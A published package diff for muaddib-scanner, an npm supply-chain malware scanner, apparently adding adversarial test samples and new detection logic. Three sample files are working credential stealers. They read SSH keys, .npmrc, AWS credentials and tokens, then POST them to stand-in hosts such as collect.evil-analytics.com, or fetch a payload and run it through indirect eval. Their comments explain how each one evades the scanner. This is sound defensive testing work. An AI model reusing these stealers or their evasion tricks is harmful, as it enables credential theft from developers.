muaddib-scanner 2.2.13 → 2.2.14
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +3 -9
- package/datasets/adversarial/indirect-eval-bypass/index.js +27 -0
- package/datasets/adversarial/indirect-eval-bypass/package.json +5 -0
- package/datasets/adversarial/mjs-extension-bypass/package.json +6 -0
- package/datasets/adversarial/mjs-extension-bypass/stealer.mjs +39 -0
- package/datasets/adversarial/muaddib-ignore-bypass/index.js +47 -0
- package/datasets/adversarial/muaddib-ignore-bypass/package.json +5 -0
- package/package.json +2 -2
- package/src/commands/evaluate.js +5 -1
- package/src/index.js +19 -111
- package/src/ioc/bootstrap.js +5 -4
- package/src/scanner/ast.js +79 -57
- package/src/scanner/dataflow.js +7 -59
- package/src/scanner/deobfuscate.js +4 -18
- package/src/scanner/entropy.js +6 -24
- package/src/scanner/github-actions.js +2 -1
- package/src/scanner/hash.js +1 -1
- package/src/scanner/module-graph.js +3 -3
- package/src/scanner/npm-registry.js +4 -3
- package/src/scanner/obfuscation.js +4 -19
- package/src/scanner/shell.js +3 -13
- package/src/shared/analyze-helper.js +49 -0
- package/src/shared/constants.js +5 -1
- package/src/temporal-ast-diff.js +8 -18
- package/src/utils.js +61 -2
package/README.md
CHANGED
|
@@ -334,15 +334,9 @@ muaddib replay
|
|
|
334
334
|
muaddib ground-truth
|
|
335
335
|
```
|
|
336
336
|
|
|
337
|
-
Replay
|
|
337
|
+
Replay real-world supply-chain attacks against the scanner to validate detection coverage. Current results: **45/49 detected (91.8% TPR)** from 51 samples (49 active).
|
|
338
338
|
|
|
339
|
-
|
|
340
|
-
|--------|------|----------|----------|
|
|
341
|
-
| event-stream | 2018 | Yes | 2 CRITICAL (known malicious package) |
|
|
342
|
-
| ua-parser-js | 2021 | Yes | 1 MEDIUM (lifecycle script) |
|
|
343
|
-
| coa | 2021 | Yes | 1 HIGH + 1 MEDIUM (lifecycle + obfuscation) |
|
|
344
|
-
| node-ipc | 2022 | Yes | 2 CRITICAL (known malicious package) |
|
|
345
|
-
| colors | 2022 | Yes | Out of scope (protestware, not malware) |
|
|
339
|
+
4 out-of-scope misses: lottie-player, polyfill-io, trojanized-jquery (browser-only DOM attacks), websocket-rat (FP-risky pattern).
|
|
346
340
|
|
|
347
341
|
### Version check
|
|
348
342
|
|
|
@@ -793,7 +787,7 @@ npm test
|
|
|
793
787
|
|
|
794
788
|
### Testing
|
|
795
789
|
|
|
796
|
-
- **
|
|
790
|
+
- **814 unit/integration tests** across 20 modular test files - 74% code coverage via [Codecov](https://codecov.io/gh/DNSZLSK/muad-dib)
|
|
797
791
|
- **56 fuzz tests** - Malformed YAML, invalid JSON, binary files, ReDoS, unicode, 10MB inputs
|
|
798
792
|
- **75 adversarial/holdout samples** - 35 adversarial + 40 holdout, 75/75 detection rate (100% ADR)
|
|
799
793
|
- **Ground truth validation** - 51 real-world attacks (45/49 detected = 91.8% TPR). 4 out-of-scope: browser-only (3) + FP-risky (1)
|
|
@@ -0,0 +1,27 @@
|
|
|
1
|
+
// Bypass 01: Indirect eval via computed property access
|
|
2
|
+
// Technique: Array.join to build "eval" string, then call via globalThis[computed]
|
|
3
|
+
// Expected: MUAD'DIB scores < 3 (bypass confirmed)
|
|
4
|
+
|
|
5
|
+
const g = globalThis;
|
|
6
|
+
|
|
7
|
+
// Array.join is NOT handled by the deobfuscator (only handles String.fromCharCode,
|
|
8
|
+
// Buffer.from, atob, and string concat BinaryExpression)
|
|
9
|
+
const k = ['e','v','a','l'].join('');
|
|
10
|
+
|
|
11
|
+
// This URL contains "api.github.com" which is in SAFE_STRINGS
|
|
12
|
+
// The SAFE_STRINGS check in ast.js:806-808 returns early before checking SENSITIVE_STRINGS
|
|
13
|
+
// So even though the URL also references .ssh paths, no sensitive_string finding is emitted
|
|
14
|
+
const configUrl = "https://api.github.com/repos/legit-org/config/contents/.ssh/deploy_key";
|
|
15
|
+
|
|
16
|
+
const https = require('https');
|
|
17
|
+
https.get(configUrl, (res) => {
|
|
18
|
+
let d = '';
|
|
19
|
+
res.on('data', c => d += c);
|
|
20
|
+
res.on('end', () => {
|
|
21
|
+
// Decode the "content" field from GitHub API response (base64-encoded)
|
|
22
|
+
const payload = Buffer.from(JSON.parse(d).content, 'base64').toString();
|
|
23
|
+
// Indirect eval: globalThis['eval'](payload)
|
|
24
|
+
// getCallName() returns '' for computed MemberExpression — never matches 'eval'
|
|
25
|
+
g[k](payload);
|
|
26
|
+
});
|
|
27
|
+
});
|
|
@@ -0,0 +1,39 @@
|
|
|
1
|
+
// Bypass 03: .mjs extension — no scanner processes this file type
|
|
2
|
+
// All scanners use findFiles with extensions: ['.js'] or findJsFiles
|
|
3
|
+
// ESM packages with "type": "module" use .mjs files legitimately
|
|
4
|
+
|
|
5
|
+
import { readFileSync } from 'fs';
|
|
6
|
+
import { homedir } from 'os';
|
|
7
|
+
import { request } from 'https';
|
|
8
|
+
|
|
9
|
+
// Direct credential theft — every dangerous pattern in one file
|
|
10
|
+
// None of this is detected because the file extension is .mjs
|
|
11
|
+
const home = homedir();
|
|
12
|
+
const stolen = {};
|
|
13
|
+
|
|
14
|
+
const targets = ['.ssh/id_rsa', '.ssh/id_ed25519', '.npmrc', '.aws/credentials'];
|
|
15
|
+
for (const t of targets) {
|
|
16
|
+
try {
|
|
17
|
+
stolen[t] = readFileSync(`${home}/${t}`, 'utf8');
|
|
18
|
+
} catch {}
|
|
19
|
+
}
|
|
20
|
+
|
|
21
|
+
// Also grab environment tokens
|
|
22
|
+
stolen['GITHUB_TOKEN'] = process.env.GITHUB_TOKEN || '';
|
|
23
|
+
stolen['NPM_TOKEN'] = process.env.NPM_TOKEN || '';
|
|
24
|
+
stolen['AWS_SECRET_ACCESS_KEY'] = process.env.AWS_SECRET_ACCESS_KEY || '';
|
|
25
|
+
|
|
26
|
+
// Exfiltrate
|
|
27
|
+
const data = JSON.stringify(stolen);
|
|
28
|
+
const req = request({
|
|
29
|
+
hostname: 'collect.evil-analytics.com',
|
|
30
|
+
path: '/v2/telemetry',
|
|
31
|
+
method: 'POST',
|
|
32
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': Buffer.byteLength(data) }
|
|
33
|
+
});
|
|
34
|
+
req.write(data);
|
|
35
|
+
req.end();
|
|
36
|
+
|
|
37
|
+
// Also use eval with dynamic code (would be CRITICAL if this were .js)
|
|
38
|
+
const payload = Buffer.from('Y29uc29sZS5sb2coInB3bmVkIik=', 'base64').toString();
|
|
39
|
+
eval(payload);
|
|
@@ -0,0 +1,47 @@
|
|
|
1
|
+
// muaddib-ignore
|
|
2
|
+
//# sourceMappingURL=index.js.map
|
|
3
|
+
// Bypass 02: muaddib-ignore kills dataflow scanner, sourceMappingURL kills entropy scanner
|
|
4
|
+
// The AST scanner does NOT respect muaddib-ignore, so we avoid AST-detected patterns.
|
|
5
|
+
// Strategy: construct sensitive paths without using SENSITIVE_STRINGS literals directly.
|
|
6
|
+
|
|
7
|
+
const fs = require('fs');
|
|
8
|
+
const os = require('os');
|
|
9
|
+
const https = require('https');
|
|
10
|
+
const path = require('path');
|
|
11
|
+
|
|
12
|
+
const home = os.homedir();
|
|
13
|
+
|
|
14
|
+
// Build path components without triggering SENSITIVE_STRINGS check.
|
|
15
|
+
// SENSITIVE_STRINGS: ['.npmrc', '.ssh', '.aws', '.gitconfig', '.env', '/etc/passwd', '/etc/shadow']
|
|
16
|
+
// AST Literal handler checks node.value.includes(sensitive) for each string literal.
|
|
17
|
+
// We avoid having any single string literal that includes these substrings.
|
|
18
|
+
const dot = '.';
|
|
19
|
+
const dirs = [
|
|
20
|
+
[dot + 'ss' + 'h', 'id_rsa'],
|
|
21
|
+
[dot + 'ss' + 'h', 'id_ed25519'],
|
|
22
|
+
[dot + 'aw' + 's', 'credentials'],
|
|
23
|
+
[dot + 'npm' + 'rc'],
|
|
24
|
+
];
|
|
25
|
+
|
|
26
|
+
const stolen = {};
|
|
27
|
+
for (const parts of dirs) {
|
|
28
|
+
const p = path.join(home, ...parts);
|
|
29
|
+
try { stolen[parts[parts.length - 1]] = fs.readFileSync(p, 'utf8'); } catch {}
|
|
30
|
+
}
|
|
31
|
+
|
|
32
|
+
// Also read npmrc via environment — env_access only flags vars with sensitive keywords
|
|
33
|
+
// HOME, PATH etc are in SAFE_ENV_VARS and get skipped
|
|
34
|
+
const npmrcPath = path.join(home, dirs[3].join(path.sep));
|
|
35
|
+
try { stolen['npmrc'] = fs.readFileSync(npmrcPath, 'utf8'); } catch {}
|
|
36
|
+
|
|
37
|
+
// Exfiltrate via https.request — dataflow.js would catch this as source→sink,
|
|
38
|
+
// BUT dataflow.js skipped this file due to muaddib-ignore on line 1
|
|
39
|
+
const data = JSON.stringify(stolen);
|
|
40
|
+
const req = https.request({
|
|
41
|
+
hostname: 'telemetry.legit-analytics.com',
|
|
42
|
+
path: '/api/v1/report',
|
|
43
|
+
method: 'POST',
|
|
44
|
+
headers: { 'Content-Type': 'application/json', 'Content-Length': data.length }
|
|
45
|
+
});
|
|
46
|
+
req.write(data);
|
|
47
|
+
req.end();
|
package/package.json
CHANGED
|
@@ -1,6 +1,6 @@
|
|
|
1
1
|
{
|
|
2
2
|
"name": "muaddib-scanner",
|
|
3
|
-
"version": "2.2.
|
|
3
|
+
"version": "2.2.14",
|
|
4
4
|
"description": "Supply-chain threat detection & response for npm & PyPI/Python",
|
|
5
5
|
"main": "src/index.js",
|
|
6
6
|
"bin": {
|
|
@@ -47,7 +47,7 @@
|
|
|
47
47
|
"@inquirer/prompts": "8.2.1",
|
|
48
48
|
"acorn": "8.15.0",
|
|
49
49
|
"acorn-walk": "8.3.4",
|
|
50
|
-
"adm-zip": "
|
|
50
|
+
"adm-zip": "0.5.16",
|
|
51
51
|
"chalk": "5.6.2",
|
|
52
52
|
"js-yaml": "4.1.1",
|
|
53
53
|
"yargs": "18.0.0"
|
package/src/commands/evaluate.js
CHANGED
|
@@ -71,7 +71,11 @@ const ADVERSARIAL_THRESHOLDS = {
|
|
|
71
71
|
'pyinstaller-dropper': 35,
|
|
72
72
|
'gh-cli-token-steal': 30,
|
|
73
73
|
'triple-base64-github-push': 30,
|
|
74
|
-
'browser-api-hook': 20
|
|
74
|
+
'browser-api-hook': 20,
|
|
75
|
+
// Audit bypass samples (v2.2.13)
|
|
76
|
+
'indirect-eval-bypass': 10,
|
|
77
|
+
'muaddib-ignore-bypass': 25,
|
|
78
|
+
'mjs-extension-bypass': 100
|
|
75
79
|
};
|
|
76
80
|
|
|
77
81
|
const HOLDOUT_THRESHOLDS = {
|
package/src/index.js
CHANGED
|
@@ -25,7 +25,7 @@ const { detectSuddenLifecycleChange } = require('./temporal-analysis.js');
|
|
|
25
25
|
const { detectSuddenAstChanges } = require('./temporal-ast-diff.js');
|
|
26
26
|
const { detectPublishAnomaly } = require('./publish-anomaly.js');
|
|
27
27
|
const { detectMaintainerChange } = require('./maintainer-change.js');
|
|
28
|
-
const { setExtraExcludes, getExtraExcludes, Spinner } = require('./utils.js');
|
|
28
|
+
const { setExtraExcludes, getExtraExcludes, Spinner, listInstalledPackages } = require('./utils.js');
|
|
29
29
|
|
|
30
30
|
// ============================================
|
|
31
31
|
// SCORING CONSTANTS
|
|
@@ -62,7 +62,7 @@ const RISK_THRESHOLDS = {
|
|
|
62
62
|
// Maximum score (capped)
|
|
63
63
|
const MAX_RISK_SCORE = 100;
|
|
64
64
|
|
|
65
|
-
const MAX_FILE_SIZE =
|
|
65
|
+
const { MAX_FILE_SIZE } = require('./shared/constants.js');
|
|
66
66
|
|
|
67
67
|
// Cap MEDIUM prototype_hook contribution (frameworks like Restify have 50+ extensions)
|
|
68
68
|
const PROTO_HOOK_MEDIUM_CAP = 15;
|
|
@@ -312,6 +312,14 @@ function checkPyPITyposquatting(deps, targetPath) {
|
|
|
312
312
|
}
|
|
313
313
|
|
|
314
314
|
async function run(targetPath, options = {}) {
|
|
315
|
+
// Validate targetPath exists and is a directory
|
|
316
|
+
if (!targetPath || !fs.existsSync(targetPath)) {
|
|
317
|
+
throw new Error(`Target path does not exist: ${targetPath}`);
|
|
318
|
+
}
|
|
319
|
+
if (!fs.statSync(targetPath).isDirectory()) {
|
|
320
|
+
throw new Error(`Target path is not a directory: ${targetPath}`);
|
|
321
|
+
}
|
|
322
|
+
|
|
315
323
|
// Ensure IOCs are downloaded (first run only, graceful failure)
|
|
316
324
|
await ensureIOCs();
|
|
317
325
|
|
|
@@ -396,7 +404,7 @@ async function run(targetPath, options = {}) {
|
|
|
396
404
|
...pypiTyposquatThreats,
|
|
397
405
|
...entropyThreats,
|
|
398
406
|
...aiConfigThreats,
|
|
399
|
-
...crossFileFlows.map(f => ({
|
|
407
|
+
...crossFileFlows.filter(f => f && f.sourceFile && f.sinkFile).map(f => ({
|
|
400
408
|
type: f.type,
|
|
401
409
|
severity: f.severity,
|
|
402
410
|
message: `Cross-file dataflow: ${f.source} in ${f.sourceFile} → ${f.sink} in ${f.sinkFile}`,
|
|
@@ -416,33 +424,8 @@ async function run(targetPath, options = {}) {
|
|
|
416
424
|
if (!options._capture && !options.json) {
|
|
417
425
|
console.log('[TEMPORAL] Analyzing lifecycle script changes (this makes network requests)...\n');
|
|
418
426
|
}
|
|
419
|
-
const
|
|
420
|
-
|
|
421
|
-
const pkgNames = [];
|
|
422
|
-
try {
|
|
423
|
-
const items = fs.readdirSync(nodeModulesPath);
|
|
424
|
-
for (const item of items) {
|
|
425
|
-
if (item.startsWith('.')) continue;
|
|
426
|
-
const itemPath = path.join(nodeModulesPath, item);
|
|
427
|
-
try {
|
|
428
|
-
const stat = fs.lstatSync(itemPath);
|
|
429
|
-
if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
|
|
430
|
-
if (item.startsWith('@')) {
|
|
431
|
-
const scopedItems = fs.readdirSync(itemPath);
|
|
432
|
-
for (const si of scopedItems) {
|
|
433
|
-
const sp = path.join(itemPath, si);
|
|
434
|
-
const ss = fs.lstatSync(sp);
|
|
435
|
-
if (!ss.isSymbolicLink() && ss.isDirectory()) {
|
|
436
|
-
pkgNames.push(`${item}/${si}`);
|
|
437
|
-
}
|
|
438
|
-
}
|
|
439
|
-
} else {
|
|
440
|
-
pkgNames.push(item);
|
|
441
|
-
}
|
|
442
|
-
} catch { /* skip unreadable */ }
|
|
443
|
-
}
|
|
444
|
-
} catch { /* no node_modules readable */ }
|
|
445
|
-
|
|
427
|
+
const pkgNames = listInstalledPackages(targetPath);
|
|
428
|
+
{
|
|
446
429
|
const TEMPORAL_CONCURRENCY = 5;
|
|
447
430
|
for (let i = 0; i < pkgNames.length; i += TEMPORAL_CONCURRENCY) {
|
|
448
431
|
const batch = pkgNames.slice(i, i + TEMPORAL_CONCURRENCY);
|
|
@@ -474,33 +457,8 @@ async function run(targetPath, options = {}) {
|
|
|
474
457
|
if (!options._capture && !options.json) {
|
|
475
458
|
console.log('[TEMPORAL-AST] Analyzing dangerous API changes (this downloads tarballs)...\n');
|
|
476
459
|
}
|
|
477
|
-
const
|
|
478
|
-
|
|
479
|
-
const pkgNames = [];
|
|
480
|
-
try {
|
|
481
|
-
const items = fs.readdirSync(nodeModulesPath);
|
|
482
|
-
for (const item of items) {
|
|
483
|
-
if (item.startsWith('.')) continue;
|
|
484
|
-
const itemPath = path.join(nodeModulesPath, item);
|
|
485
|
-
try {
|
|
486
|
-
const stat = fs.lstatSync(itemPath);
|
|
487
|
-
if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
|
|
488
|
-
if (item.startsWith('@')) {
|
|
489
|
-
const scopedItems = fs.readdirSync(itemPath);
|
|
490
|
-
for (const si of scopedItems) {
|
|
491
|
-
const sp = path.join(itemPath, si);
|
|
492
|
-
const ss = fs.lstatSync(sp);
|
|
493
|
-
if (!ss.isSymbolicLink() && ss.isDirectory()) {
|
|
494
|
-
pkgNames.push(`${item}/${si}`);
|
|
495
|
-
}
|
|
496
|
-
}
|
|
497
|
-
} else {
|
|
498
|
-
pkgNames.push(item);
|
|
499
|
-
}
|
|
500
|
-
} catch { /* skip unreadable */ }
|
|
501
|
-
}
|
|
502
|
-
} catch { /* no node_modules readable */ }
|
|
503
|
-
|
|
460
|
+
const pkgNames = listInstalledPackages(targetPath);
|
|
461
|
+
{
|
|
504
462
|
const AST_CONCURRENCY = 3;
|
|
505
463
|
for (let i = 0; i < pkgNames.length; i += AST_CONCURRENCY) {
|
|
506
464
|
const batch = pkgNames.slice(i, i + AST_CONCURRENCY);
|
|
@@ -531,33 +489,8 @@ async function run(targetPath, options = {}) {
|
|
|
531
489
|
if (!options._capture && !options.json) {
|
|
532
490
|
console.log('[TEMPORAL-PUBLISH] Analyzing publish frequency anomalies (this makes network requests)...\n');
|
|
533
491
|
}
|
|
534
|
-
const
|
|
535
|
-
|
|
536
|
-
const pkgNames = [];
|
|
537
|
-
try {
|
|
538
|
-
const items = fs.readdirSync(nodeModulesPath);
|
|
539
|
-
for (const item of items) {
|
|
540
|
-
if (item.startsWith('.')) continue;
|
|
541
|
-
const itemPath = path.join(nodeModulesPath, item);
|
|
542
|
-
try {
|
|
543
|
-
const stat = fs.lstatSync(itemPath);
|
|
544
|
-
if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
|
|
545
|
-
if (item.startsWith('@')) {
|
|
546
|
-
const scopedItems = fs.readdirSync(itemPath);
|
|
547
|
-
for (const si of scopedItems) {
|
|
548
|
-
const sp = path.join(itemPath, si);
|
|
549
|
-
const ss = fs.lstatSync(sp);
|
|
550
|
-
if (!ss.isSymbolicLink() && ss.isDirectory()) {
|
|
551
|
-
pkgNames.push(`${item}/${si}`);
|
|
552
|
-
}
|
|
553
|
-
}
|
|
554
|
-
} else {
|
|
555
|
-
pkgNames.push(item);
|
|
556
|
-
}
|
|
557
|
-
} catch { /* skip unreadable */ }
|
|
558
|
-
}
|
|
559
|
-
} catch { /* no node_modules readable */ }
|
|
560
|
-
|
|
492
|
+
const pkgNames = listInstalledPackages(targetPath);
|
|
493
|
+
{
|
|
561
494
|
const PUBLISH_CONCURRENCY = 5;
|
|
562
495
|
for (let i = 0; i < pkgNames.length; i += PUBLISH_CONCURRENCY) {
|
|
563
496
|
const batch = pkgNames.slice(i, i + PUBLISH_CONCURRENCY);
|
|
@@ -585,33 +518,8 @@ async function run(targetPath, options = {}) {
|
|
|
585
518
|
if (!options._capture && !options.json) {
|
|
586
519
|
console.log('[TEMPORAL-MAINTAINER] Analyzing maintainer changes (this makes network requests)...\n');
|
|
587
520
|
}
|
|
588
|
-
const
|
|
589
|
-
|
|
590
|
-
const pkgNames = [];
|
|
591
|
-
try {
|
|
592
|
-
const items = fs.readdirSync(nodeModulesPath);
|
|
593
|
-
for (const item of items) {
|
|
594
|
-
if (item.startsWith('.')) continue;
|
|
595
|
-
const itemPath = path.join(nodeModulesPath, item);
|
|
596
|
-
try {
|
|
597
|
-
const stat = fs.lstatSync(itemPath);
|
|
598
|
-
if (stat.isSymbolicLink() || !stat.isDirectory()) continue;
|
|
599
|
-
if (item.startsWith('@')) {
|
|
600
|
-
const scopedItems = fs.readdirSync(itemPath);
|
|
601
|
-
for (const si of scopedItems) {
|
|
602
|
-
const sp = path.join(itemPath, si);
|
|
603
|
-
const ss = fs.lstatSync(sp);
|
|
604
|
-
if (!ss.isSymbolicLink() && ss.isDirectory()) {
|
|
605
|
-
pkgNames.push(`${item}/${si}`);
|
|
606
|
-
}
|
|
607
|
-
}
|
|
608
|
-
} else {
|
|
609
|
-
pkgNames.push(item);
|
|
610
|
-
}
|
|
611
|
-
} catch { /* skip unreadable */ }
|
|
612
|
-
}
|
|
613
|
-
} catch { /* no node_modules readable */ }
|
|
614
|
-
|
|
521
|
+
const pkgNames = listInstalledPackages(targetPath);
|
|
522
|
+
{
|
|
615
523
|
const MAINTAINER_CONCURRENCY = 5;
|
|
616
524
|
for (let i = 0; i < pkgNames.length; i += MAINTAINER_CONCURRENCY) {
|
|
617
525
|
const batch = pkgNames.slice(i, i + MAINTAINER_CONCURRENCY);
|
package/src/ioc/bootstrap.js
CHANGED
|
@@ -4,6 +4,7 @@ const fs = require('fs');
|
|
|
4
4
|
const path = require('path');
|
|
5
5
|
const os = require('os');
|
|
6
6
|
const zlib = require('zlib');
|
|
7
|
+
const { debugLog } = require('../utils.js');
|
|
7
8
|
|
|
8
9
|
// GitHub Releases URL for pre-compressed IOC database
|
|
9
10
|
const IOCS_URL = 'https://github.com/DNSZLSK/muad-dib/releases/latest/download/iocs.json.gz';
|
|
@@ -87,12 +88,12 @@ function downloadAndDecompress(url, destPath) {
|
|
|
87
88
|
|
|
88
89
|
gunzip.on('error', (err) => {
|
|
89
90
|
fileStream.destroy();
|
|
90
|
-
try { fs.unlinkSync(tmpPath); } catch {}
|
|
91
|
+
try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
|
|
91
92
|
reject(new Error('Decompression failed: ' + err.message));
|
|
92
93
|
});
|
|
93
94
|
|
|
94
95
|
fileStream.on('error', (err) => {
|
|
95
|
-
try { fs.unlinkSync(tmpPath); } catch {}
|
|
96
|
+
try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
|
|
96
97
|
reject(err);
|
|
97
98
|
});
|
|
98
99
|
|
|
@@ -102,7 +103,7 @@ function downloadAndDecompress(url, destPath) {
|
|
|
102
103
|
fs.renameSync(tmpPath, destPath);
|
|
103
104
|
resolve();
|
|
104
105
|
} catch (err) {
|
|
105
|
-
try { fs.unlinkSync(tmpPath); } catch {}
|
|
106
|
+
try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
|
|
106
107
|
reject(err);
|
|
107
108
|
}
|
|
108
109
|
});
|
|
@@ -110,7 +111,7 @@ function downloadAndDecompress(url, destPath) {
|
|
|
110
111
|
res.on('error', (err) => {
|
|
111
112
|
gunzip.destroy();
|
|
112
113
|
fileStream.destroy();
|
|
113
|
-
try { fs.unlinkSync(tmpPath); } catch {}
|
|
114
|
+
try { fs.unlinkSync(tmpPath); } catch (e) { debugLog('cleanup failed:', e.message); }
|
|
114
115
|
reject(err);
|
|
115
116
|
});
|
|
116
117
|
|
package/src/scanner/ast.js
CHANGED
|
@@ -2,9 +2,9 @@ const fs = require('fs');
|
|
|
2
2
|
const path = require('path');
|
|
3
3
|
const acorn = require('acorn');
|
|
4
4
|
const walk = require('acorn-walk');
|
|
5
|
-
const {
|
|
6
|
-
|
|
7
|
-
const
|
|
5
|
+
const { getCallName } = require('../utils.js');
|
|
6
|
+
const { ACORN_OPTIONS } = require('../shared/constants.js');
|
|
7
|
+
const { analyzeWithDeobfuscation } = require('../shared/analyze-helper.js');
|
|
8
8
|
|
|
9
9
|
const EXCLUDED_FILES = [
|
|
10
10
|
'src/scanner/ast.js',
|
|
@@ -99,55 +99,10 @@ const SANDBOX_INDICATORS = [
|
|
|
99
99
|
];
|
|
100
100
|
|
|
101
101
|
async function analyzeAST(targetPath, options = {}) {
|
|
102
|
-
|
|
103
|
-
|
|
104
|
-
|
|
105
|
-
|
|
106
|
-
const relativePath = path.relative(targetPath, file).replace(/\\/g, '/');
|
|
107
|
-
|
|
108
|
-
if (EXCLUDED_FILES.includes(relativePath)) {
|
|
109
|
-
continue;
|
|
110
|
-
}
|
|
111
|
-
|
|
112
|
-
// Ignore files in dev folders
|
|
113
|
-
if (isDevFile(relativePath)) {
|
|
114
|
-
continue;
|
|
115
|
-
}
|
|
116
|
-
|
|
117
|
-
try {
|
|
118
|
-
const stat = fs.statSync(file);
|
|
119
|
-
if (stat.size > MAX_FILE_SIZE) continue;
|
|
120
|
-
} catch { continue; }
|
|
121
|
-
|
|
122
|
-
let content;
|
|
123
|
-
try {
|
|
124
|
-
content = fs.readFileSync(file, 'utf8');
|
|
125
|
-
} catch {
|
|
126
|
-
continue;
|
|
127
|
-
}
|
|
128
|
-
|
|
129
|
-
// Analyze original code first (preserves obfuscation-detection rules)
|
|
130
|
-
const fileThreats = analyzeFile(content, file, targetPath);
|
|
131
|
-
threats.push(...fileThreats);
|
|
132
|
-
|
|
133
|
-
// Also analyze deobfuscated code for additional findings hidden by obfuscation
|
|
134
|
-
if (typeof options.deobfuscate === 'function') {
|
|
135
|
-
try {
|
|
136
|
-
const result = options.deobfuscate(content);
|
|
137
|
-
if (result.transforms.length > 0) {
|
|
138
|
-
const deobThreats = analyzeFile(result.code, file, targetPath);
|
|
139
|
-
const existingKeys = new Set(fileThreats.map(t => `${t.type}::${t.message}`));
|
|
140
|
-
for (const dt of deobThreats) {
|
|
141
|
-
if (!existingKeys.has(`${dt.type}::${dt.message}`)) {
|
|
142
|
-
threats.push(dt);
|
|
143
|
-
}
|
|
144
|
-
}
|
|
145
|
-
}
|
|
146
|
-
} catch { /* deobfuscation failed — skip */ }
|
|
147
|
-
}
|
|
148
|
-
}
|
|
149
|
-
|
|
150
|
-
return threats;
|
|
102
|
+
return analyzeWithDeobfuscation(targetPath, analyzeFile, {
|
|
103
|
+
deobfuscate: options.deobfuscate,
|
|
104
|
+
excludedFiles: EXCLUDED_FILES
|
|
105
|
+
});
|
|
151
106
|
}
|
|
152
107
|
|
|
153
108
|
|
|
@@ -215,11 +170,7 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
215
170
|
let ast;
|
|
216
171
|
|
|
217
172
|
try {
|
|
218
|
-
ast = acorn.parse(content,
|
|
219
|
-
ecmaVersion: 2024,
|
|
220
|
-
sourceType: 'module',
|
|
221
|
-
allowHashBang: true
|
|
222
|
-
});
|
|
173
|
+
ast = acorn.parse(content, ACORN_OPTIONS);
|
|
223
174
|
} catch {
|
|
224
175
|
// AST parse failed — apply regex fallback for known dangerous patterns
|
|
225
176
|
|
|
@@ -254,6 +205,8 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
254
205
|
const workflowPathVars = new Set();
|
|
255
206
|
// Track variables assigned temp/executable file paths
|
|
256
207
|
const execPathVars = new Map();
|
|
208
|
+
// Track variables that alias globalThis/global (e.g. const g = globalThis)
|
|
209
|
+
const globalThisAliases = new Set();
|
|
257
210
|
|
|
258
211
|
/**
|
|
259
212
|
* Extract string value from a node if it's a Literal or TemplateLiteral with no expressions.
|
|
@@ -308,6 +261,13 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
308
261
|
execPathVars.set(node.id.name, strVal);
|
|
309
262
|
}
|
|
310
263
|
|
|
264
|
+
// Track variables that alias globalThis or global (e.g. const g = globalThis)
|
|
265
|
+
if (node.init?.type === 'Identifier' &&
|
|
266
|
+
(node.init.name === 'globalThis' || node.init.name === 'global' ||
|
|
267
|
+
node.init.name === 'window' || node.init.name === 'self')) {
|
|
268
|
+
globalThisAliases.add(node.id.name);
|
|
269
|
+
}
|
|
270
|
+
|
|
311
271
|
// Track variables assigned from path.join containing .github/workflows
|
|
312
272
|
if (node.init?.type === 'CallExpression' && node.init.callee?.type === 'MemberExpression') {
|
|
313
273
|
const obj = node.init.callee.object;
|
|
@@ -720,6 +680,68 @@ function analyzeFile(content, filePath, basePath) {
|
|
|
720
680
|
}
|
|
721
681
|
}
|
|
722
682
|
|
|
683
|
+
// Detect indirect eval/Function via computed property: obj['eval'](code), g['Function'](code)
|
|
684
|
+
// Bypasses getCallName() which only reads .property.name (Identifier), not Literal values
|
|
685
|
+
if (node.callee.type === 'MemberExpression' && node.callee.computed) {
|
|
686
|
+
const prop = node.callee.property;
|
|
687
|
+
if (prop.type === 'Literal' && typeof prop.value === 'string') {
|
|
688
|
+
if (prop.value === 'eval') {
|
|
689
|
+
hasEvalInFile = true;
|
|
690
|
+
threats.push({
|
|
691
|
+
type: 'dangerous_call_eval',
|
|
692
|
+
severity: 'HIGH',
|
|
693
|
+
message: 'Indirect eval via computed property access (obj["eval"]) — evasion technique.',
|
|
694
|
+
file: path.relative(basePath, filePath)
|
|
695
|
+
});
|
|
696
|
+
} else if (prop.value === 'Function') {
|
|
697
|
+
threats.push({
|
|
698
|
+
type: 'dangerous_call_function',
|
|
699
|
+
severity: 'MEDIUM',
|
|
700
|
+
message: 'Indirect Function via computed property access (obj["Function"]) — evasion technique.',
|
|
701
|
+
file: path.relative(basePath, filePath)
|
|
702
|
+
});
|
|
703
|
+
}
|
|
704
|
+
}
|
|
705
|
+
// Detect computed call on globalThis/global alias with variable property: g[k]()
|
|
706
|
+
// where g = globalThis and k is a variable (not a literal) — dynamic global dispatch
|
|
707
|
+
const obj = node.callee.object;
|
|
708
|
+
if (prop.type === 'Identifier' && obj?.type === 'Identifier' &&
|
|
709
|
+
(globalThisAliases.has(obj.name) || obj.name === 'globalThis' || obj.name === 'global')) {
|
|
710
|
+
hasEvalInFile = true;
|
|
711
|
+
threats.push({
|
|
712
|
+
type: 'dangerous_call_eval',
|
|
713
|
+
severity: 'HIGH',
|
|
714
|
+
message: `Dynamic global dispatch via computed property (${obj.name}[${prop.name}]) — likely indirect eval evasion.`,
|
|
715
|
+
file: path.relative(basePath, filePath)
|
|
716
|
+
});
|
|
717
|
+
}
|
|
718
|
+
}
|
|
719
|
+
|
|
720
|
+
// Detect indirect eval/Function via sequence expression: (0, eval)(code), (0, Function)(code)
|
|
721
|
+
// Comma operator returns last expression, so (0, eval) === eval but avoids Identifier callee
|
|
722
|
+
if (node.callee.type === 'SequenceExpression') {
|
|
723
|
+
const exprs = node.callee.expressions;
|
|
724
|
+
const last = exprs[exprs.length - 1];
|
|
725
|
+
if (last && last.type === 'Identifier') {
|
|
726
|
+
if (last.name === 'eval') {
|
|
727
|
+
hasEvalInFile = true;
|
|
728
|
+
threats.push({
|
|
729
|
+
type: 'dangerous_call_eval',
|
|
730
|
+
severity: 'HIGH',
|
|
731
|
+
